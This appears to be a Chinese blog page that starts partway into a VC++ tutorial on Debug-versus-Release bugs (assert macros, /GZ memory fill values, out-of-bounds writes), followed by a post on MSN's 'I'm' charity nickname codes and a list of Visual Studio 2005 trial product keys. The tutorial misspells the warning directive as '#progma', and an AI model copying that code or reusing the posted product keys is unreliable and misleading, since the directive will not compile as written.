     ● 非法访问,包括数组越界、指针错误等。例如
         void fn(void)
         {
           int i;
           i = 1;
           int a[4];
           {
             int j;
             j = 1;
           }
           a[-1] = 1;//当然错误不会这么明显,例如下标是变量
           a[4] = 1;
         }
       j 虽然在数组越界时已出了作用域,但其空间并未收回,因而 i 和 j 就会掩盖越界。而 Release 版由于 i、j 并未其很大作用可能会被优化掉,从而使栈被破坏。

3. _DEBUG 与 NDEBUG :当定义了 _DEBUG 时,assert() 函数会被编译,而 NDEBUG 时不被编译。除此之外,VC++中还有一系列断言宏。这包括:

    ANSI C 断言         void assert(int expression );
    C Runtime Lib 断言  _ASSERT( booleanExpression );
                        _ASSERTE( booleanExpression );
    MFC 断言            ASSERT( booleanExpression );
                        VERIFY( booleanExpression );
                        ASSERT_VALID( pObject );
                        ASSERT_KINDOF( classname, pobject );
    ATL 断言            ATLASSERT( booleanExpression );
    此外,TRACE() 宏的编译也受 _DEBUG 控制。

所有这些断言都只在 Debug版中才被编译,而在 Release 版中被忽略。唯一的例外是 VERIFY() 。事实上,这些宏都是调用了 assert() 函数,只不过附加了一些与库有关的调试代码。如果你在这些宏中加入了任何程序代码,而不只是布尔表达式(例如赋值、能改变变量值的函数调用 等),那么 Release 版都不会执行这些操作,从而造成错误。初学者很容易犯这类错误,查找的方法也很简单,因为这些宏都已在上面列出,只要利用 VC++ 的 Find in Files 功能在工程所有文件中找到用这些宏的地方再一一检查即可。另外,有些高手可能还会加入 #ifdef _DEBUG 之类的条件编译,也要注意一下。
    顺便值得一提的是 VERIFY() 宏,这个宏允许你将程序代码放在布尔表达式里。这个宏通常用来检查 Windows API 的返回值。有些人可能为这个原因而滥用 VERIFY() ,事实上这是危险的,因为 VERIFY() 违反了断言的思想,不能使程序代码和调试代码完全分离,最终可能会带来很多麻烦。因此,专家们建议尽量少用这个宏。

4. /GZ 选项:这个选项会做以下这些事

    (1) 初始化内存和变量。包括用 0xCC 初始化所有自动变量,0xCD ( Cleared Data ) 初始化堆中分配的内存(即动态分配的内存,例如 new ),0xDD ( Dead Data ) 填充已被释放的堆内存(例如 delete ),0xFD( deFencde Data ) 初始化受保护的内存(debug 版在动态分配内存的前后加入保护内存以防止越界访问),其中括号中的词是微软建议的助记词。这样做的好处是这些值都很大,作为指针是不可能的(而且 32 位系统中指针很少是奇数值,在有些系统中奇数的指针会产生运行时错误),作为数值也很少遇到,而且这些值也很容易辨认,因此这很有利于在 Debug 版中发现 Release 版才会遇到的错误。要特别注意的是,很多人认为编译器会用 0 来初始化变量,这是错误的(而且这样很不利于查找错误)。
    (2) 通过函数指针调用函数时,会通过检查栈指针验证函数调用的匹配性。(防止原形不匹配)
    (3) 函数返回前检查栈指针,确认未被修改。(防止越界访问和原形不匹配,与第二项合在一起可大致模拟帧指针省略 FPO )
    通常 /GZ 选项会造成 Debug 版出错而 Release 版正常的现象,因为 Release 版中未初始化的变量是随机的,这有可能使指针指向一个有效地址而掩盖了非法访问。
除此之外,/Gm /GF 等选项造成错误的情况比较少,而且他们的效果显而易见,比较容易发现。

三、怎样“调试” Release 版的程序

    遇到 Debug 成功但 Release 失败,显然是一件很沮丧的事,而且往往无从下手。如果你看了以上的分析,结合错误的具体表现,很快找出了错误,固然很好。但如果一时找不出,以下给出了一些在这种情况下的策略。
    1. 前面已经提过,Debug 和 Release 只是一组编译选项的差别,实际上并没有什么定义能区分二者。我们可以修改 Release 版的编译选项来缩小错误范围。如上所述,可以把 Release 的选项逐个改为与之相对的 Debug 选项,如 /MD 改为 /MDd、/O1 改为 /Od,或运行时间优化改为程序大小优化。注意,一次只改一个选项,看改哪个选项时错误消失,再对应该选项相关的错误,针对性地查找。这些选项在 Project\Settings... 中都可以直接通过列表选取,通常不要手动修改。由于以上的分析已相当全面,这个方法是最有效的。

    2. 在编程过程中就要时常注意测试 Release 版本,以免最后代码太多,时间又很紧。
    3. 在 Debug 版中使用 /W4 警告级别,这样可以从编译器获得最大限度的错误信息,比如 if( i =0 )就会引起 /W4 警告。不要忽略这些警告,通常这是你程序中的 Bug 引起的。但有时 /W4 会带来很多冗余信息,如 未使用的函数参数 警告,而很多消息处理函数都会忽略某些参数。我们可以用
      #progma warning(disable: 4702) //禁止
      //...
      #progma warning(default: 4702) //重新允许
来暂时禁止某个警告,或使用
      #progma warning(push, 3) //设置警告级别为 /W3
      //...
      #progma warning(pop) //重设为 /W4
来暂时改变警告级别,有时你可以只在认为可疑的那一部分代码使用 /W4。

    4.你也可以像 Debug 一样调试你的 Release 版,只要加入调试符号。在 Project/Settings... 中,选中 Settings for "Win32 Release",选中 C/C++ 标签,Category 选 General,Debug Info 选 Program Database。再在 Link 标签 Project options  最后加上 "/OPT:REF" (引号不要输)。这样调试器就能使用 pdb 文件中的调试符号。但调试时你会发现断点很难设置,变量也很难找到——这些都被优化过了。不过令人庆幸的是,Call Stack 窗口仍然工作正常,即使帧指针被优化,栈信息(特别是返回地址)仍然能找到。这对定位错误很有帮助。

简单的说,I'M 计划就是你在MSN签名上挂上MSN官方提供的可选代码,一个代码代表一个慈善组织,挂的人多了,MSN给那个组织10万美金。

我用的代码是*komen。Iris用的是*bgca。ricoe用的是*acs。让我们一起来支持慈善事业吧,请告诉你的朋友们。

关于I'm:

这是微软通过msn live8.1(低版本无法参加)启动的活动,你可以在你的msn昵称前加上一串特殊的代码(现在看来超过15种,代表不同的十五个组织),从而实现在昵称中代码处显示成“I'm”字样。据相关新闻称,所有参加此活动的慈善组织都将在此活动的第一年获得最低10万美金的捐款,最高则不设上限——上限达到多少,则取决于有多少人在自己的昵称前加上该组织的代码。

[separator]

简言之,这次活动的赞助商通过微软,来做了一次发动MSNer参与的投票。钱由他们出,而你只需要选择一个你相对顺眼的组织,挂上他们的代码。支持的人多,组织就多拿钱——是不是有点象超级女生……

当然,如果你仅仅是为了好看,觉得这顶偏绿的小帽子还比较顺眼(md微软能换个颜色么),而代码是别人给你的,当然也可以。但是,如果是在知情的情况下,能够装装挑选的样子,表示认真动用了表决权,那至少在别人质问你的绿帽子成色时,你能说出个子丑寅卯。

1-9是微软官方页面中提到的九个组织。现在已经补充到14个。(机构翻译方式可能有所出入)

1.American Red Cross
——I'm 准备提供帮助。美国红十字协会。代码 = *red+u

2.Boys and Girls Clubs of America  
——I'm 为孩子提供理想的环境。儿童群益会(美国)。代码 = *bgca

3.National AIDS Fund  
——I'm 与艾滋病(AIDS)抗争。美国国家艾艾滋基金。代码 = *naf

4.National MS Society
——I'm 参与到解决多发性硬化症。国家多发性硬化症学会。= *mssoc

5.ninemillion.org
——I'm 帮助9百万流离失所的孩子。国际儿童难民援助组织。代码 = *9mil

6.Sierra Club  
—— I'm 探索和保护这个星球。地球环境协会/山岳协会(保护自然生态)。代码 = *sierra

7.StopGlobalWarming.org
——I'm 阻止全球变暖。防止全球温室效应恶化相关机构。代码 = *help

8.Susan G. Komen for the Cure  
——I'm 寻找乳腺癌的治愈方法。乳腺癌基金会。代码 = *komen

9.UNICEF
——I'm 救助生死边缘徘徊的孩子。美国地区联合国儿童基金会。代码= *unicef

补:

10.World Wildlife Fund for Nature
——I'm 希望保护环境和野生动物。世界自然基金会。代码 = *wwf

11.The Oxford Committee for Famine Relief
——I'm 协助解决当时世界各地饥荒以及贫困问题。乐施会。代码 = *oxfam

12.国际关怀协会。
——I'm 帮帮鳏寡孤独,改善人际冷漠。代码 = *care 

13.The Humane Society of the United States
——I'm 展现我的人道主义。代码 = *hsus

14.American Cancer Society
——I'm 帮助癌症研究。代码 = *acs

[separator]

[separator]

 

Visual Studio 2005 Team Suite 180 day Trial:
KYTYH-TQKW6-VWPBQ-DKC8F-HWC4J
J36Q6-DP97B-8GM4M-YPQP2-MWVBY
KGR3T-F2C26-RRTGT-D6DQT-QBBB3
BW7KF-J86TJ-BW47M-F2WPD-2QT6D

Visual Studio 2005 Pro 90 day Trial: KGR3T-F2C26-RRTGT-D6DQT-QBBB3

--

从矩阵到锡安,我们携手同行,一起追寻生命的真实。 灵魂,也只不过是一套程序而已。